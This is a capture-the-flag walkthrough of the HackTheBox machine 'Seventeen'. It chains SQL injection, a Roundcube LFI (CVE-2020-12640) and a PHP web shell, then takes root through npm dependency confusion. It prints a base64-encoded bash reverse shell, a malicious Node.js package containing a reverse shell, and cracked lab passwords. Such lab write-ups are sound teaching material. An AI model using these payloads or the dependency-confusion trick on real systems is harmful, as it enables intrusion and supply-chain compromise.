HackTheBox — Seventeen

Seventeen was a hard rated linux machine made by Kavi, it involved exploiting sql injection in exam management site, from there we get a subdomain to another management site which had a pdf leading us to roundcube which was vulnerable to a LFI vulnerability which can load a malicious php file, leading to a remote code execution and giving us a shell on the container, from there we can find password for mark user and land on the target machine, by installing a node module we can then find password for kavi user which is allowed to run a script that installs node module from a private repo, this was exploitable through dependency confusion to attack to get root access.


Host is up (0.20s latency).
Not shown: 59883 closed ports, 5649 filtered ports
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 2e:b2:6e:bb:92:7d:5e:6b:36:93:17:1a:82:09:e4:64 (RSA)
| 256 1f:57:c6:53:fc:2d:8b:51:7d:30:42:02:a4:d6:5f:44 (ECDSA)
|_ 256 d5:a5:36:38:19:fe:0d:67:79:16:e6:da:17:91:eb:ad (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-methods:
|_ Supported Methods: POST OPTIONS HEAD GET
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Let's begin your education with us!
8000/tcp open http Apache httpd 2.4.38
| http-methods:
|_ Supported Methods: POST OPTIONS
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: 403 Forbidden
Service Info: Host:; OS: Linux; CPE: cpe:/o:linux:linux_kernel

PORT 8000 (HTTP)

Visiting this port, it was giving us forbidden error so this could be only accessible through local host


The web server is using a template page, we don’t see anything on the page except for a domain name seventeen.htb

Adding the domain name in /etc/hosts file

Fuzzing for files and directories using diresarch, it didn't found anything

It could be that there are other subdomains as there’s nothing really on the seventeen.htb, we can fuzz for subdomains using wfuzz

wfuzz -c -w /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u 'http://seventeen.htb' -H "Host: FUZZ.seventeen.htb" --hh 20689

This returned us a valid response on exam so let's add this subdomain in /etc/hosts file

Visiting the admin page we'll see that it's disabled

Looking for exploits regarding Exam Revewier Management System, it showed two exploits


Since the admin panel is disabled, the authenticated RCE exploit would be useless for us, so checking the sqli on this management system

On running sqlmap on this parameter it showed that this was vulnerable to sqli

The database for this management system was erms_db which showed a management named oldmanagement

This brought us to another management site

Dumping the databases with --dbs we can see there are 2 more databases, which means that db_sfms might be for the oldmanagement

From this database, it dumped user table which some hashes, also it retrieved hashes from student , so trying to crack them trough crackstation, only one hash was crackable

Logging in with the credentials 31234:autodestruction

This user had uploaded a pdf document, we can download this document and see the contents which reveals another subdomain mastermailer.seventeen.htb it also talks about some files uploaded somewhere

Fuzzing for files it found a directory called files but it showed that it was forbidden to access

The document mentioned about student’s file being uploaded but we don’t exactly know if this is where the files are being uploaded, so I fuzz in files folder with student IDs

Running gobuster again in this directory it found another directory called papers

But this directory was also forbidden for us to access and after running gobuster in here showed nothing

Moving on to adding the subdomain in hosts file we can access mastermailer, I tried logging in with the default credentials which failed

Fuzzing for files on this site also showed some directories which were forbidden except for /installer

Going through the change log on github for roudcube it was showing two vulnerabilities related to LFI and RCE which was found in several version prior to 1.44

On searching for this exploit the LFI matched our scenario as we didn’t have creds to login, it was assigned a CVE number 2020-12640

Searching for poc for this exploit lead me to a github repo of the exploit


To exploit this we need first upload a php file named papers.php having the contents

<?php system($_GET['cmd']); ?>

This file gets uploaded in /var/www/html/oldmanagement/files/31234, so path traversal in plugin name would be ../../../../../../../../../../../../../../../var/www/html/oldmanagement/files/31234/papers , we can perform directory traversal in any plugin name we want

Here I have selected zipdownload plugin, intercept the request on update config and in _plugins_zipdownload perform directory traversal

And now going to any php file we can include the GET parameter which was cmd along with the command to be executed

I used bash reverse shell by converting into base64 and decoding by piping and piping again to execute it through bash

bash -i >& /dev/tcp/ 0>&1echo 'L2Jpbi9iYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjQzLzIyMjIgMD4mMScK' | base64 -d | bash

Method 2

If we try accessing the uploaded php file on the oldmangement system it will show a Forbidden error on the page

But on changing the student id at the time of uploading the file it will create a folder with that id and from there we can access the php file

Stabilizing the shell with python

Privilege Escalation (Mark)

From the oldmanagenemnt system files we can get mysql creds from conn.php

But it was useless as we already had gotten the tables through sql injection, We do see another management system but it doesn’t have database connected to it

It gives an error on login for database connection which reveals the file where the credentials are stored for database, checking the dbh.php

I tried using these credentials on the database but they didn’t worked

Reading the /etc/passwd file from the container we can see an entry for mark user

The password 2020bestyearofmylife worked for mark and we got access on the box

Privilege Escalation (kavi)

Checking the home directory there’s another user named kavi

On checking what files/folders this user owns

In /var/mail there's a mail for kavi user which talks about a module, loglevel being published on the private registry

From the /opt/app directory we see two interesting files startup.sh and index.js

From the index.js, there’s a module which has been removed, it was mentioned that plugins are being published to a private registry, so it could be that this can be installed from that registry as there’s a service running on port 4873

Which shows that it’s running something named Verdaccio and on searching about this, it’s used for private registry for node modules

But simply installing this module will not working as we need to make npm point to local registry

Now this module would be installed in ./node_modules of user's directory

From there we can get another password IhateMathematics123# which will allow us to switch to kavi user

Privilege Escalation (root)

Running sudo -l we can see that this user can execute /opt/app/startup.sh

cd /opt/appdeps=('db-logger' 'loglevel')for dep in ${deps[@]}; do
/bin/echo "[=] Checking for $dep"
o=$(/usr/bin/npm -l ls|/bin/grep $dep)
if [[ "$o" != *"$dep"* ]]; then
/bin/echo "[+] Installing $dep"
/usr/bin/npm install $dep
/bin/echo "[+] $dep already installed"
/bin/echo "[+] Starting the app"/usr/bin/node /opt/app/index.js

This scripts looks for npm packages db-logger and loglevel , since db-logger is already in node_modules loglevel is something we should mess with, it will fetch this module if it isn't installed and then install this module, it will run index.js which includes loglevel and is being used

But we can’t write in /opt/app as we have only read rights, right now this module isn't installed

So we can run the script so that this module can be installed

Here we can trick the npm to download loglevel from our hosted repository of node modules which leads to Dependency Confusion , which means that index.js will use our malicious loglevel plugin if the version is above than the current version it's fetching and we can already see that once it's installed the version is 1.8.0 so we need to create a module with a version higher than this


But question is from where exactly is npm fetching packages from, if we check .npmrc in kavi's home directory it's fetching the packages from the registry from localhost which was running on port 4873, it's weird because I didn't saw any package on this system

We can host our own registry for node modules using Verdaccio


Installing verdaccio with npm (make sure to have node version 12 or above)

npm install -g verdaccio

Starting vedaccio on tun0 interface

verdaccio -l IP:4873

We need to add a user before hosting node modules

Following this template for making node modules I modified package.json


Adding a node reverse shell within a function called log as it's going to be called in the js file, then publishing the node module

function log (msg)
var net = require("net"), sh = require("child_process").exec("/bin/bash");
var client = new net.Socket();
client.connect(4444, "", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);
module.exports = { log }

Replacing the registry control with our hosted registry

Then just starting our netcat listener and running the script

Un-Intended Way

This box had a lot of un-intended for foothold, user and root but it’s patched by now and I just wanted to show how I got foothold and root through un-intended

Un-Intended Foothold

After fuzzing for files, there was a directory /vendor which had some folders which lead to three sites

checking mastermailer site there was a login page

So after tyring for default credentials and some basic injection nothing worked, moving onto old school management system which is referred as old, so maybe there are vulnerabilities on this site

I looked at the source of the page and found that there maybe an admin panel

I tried the default password admin:admin which is didn’t worked here as well


On trying a basic sqli payload for bypassing login, it worked

There wasn’t anything on this site so I moved on, the third site is a Exam Reviewer Management system

This management also had vulnerabilities and there were two of them, first being sqli and the second authenticated remote code execution



The exploit shows that ?p=take_exam&id=1 is vulnerable to sqli, let's first verify as there wasn't a directory erms

Now running sqlmap on this url including the parameter

I tried logging in as admin on this site but admin login was disabled

Going back to the oldmanagement site, I dumped the database and found a student’s password hash which was cracked

And logging in with the student id 31234 and password autodestruction it worked and we can see an option to upload a file, I uploaded a basic php shell

On which it just shows a blank page and doesn’t upload a file, checking the /files in oldmanagement it also doesn't show the uploaded file

Checking port 8000 again I saw that this management site was also being hosted there as well

With the same credentials and if we upload a file here, it will show that it’s uploaded

Also we can access it by using it’s absolute path which is


Using bash reverse shell, converting into base64 and piping it to bash

And we are inside a docker container, checking /var/www/html for files

Un-Intended Privilege Escalation (kavi)

From the /opt/app there was a module db-logger having password for mysql

This password allowed to switch to kavi user

Un-Intended Privilege Escalation (Root)

After the loglevel moudle is installed, we can see that kavi owns this module so we can modify the contents of the javascript file

Just add a node js reverse shell anywhere in the loglevel.js file

After modifying, terminate the script and run it again so it runs with the changes in the module and we’ll get a revere shell as a root user on our listener




Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store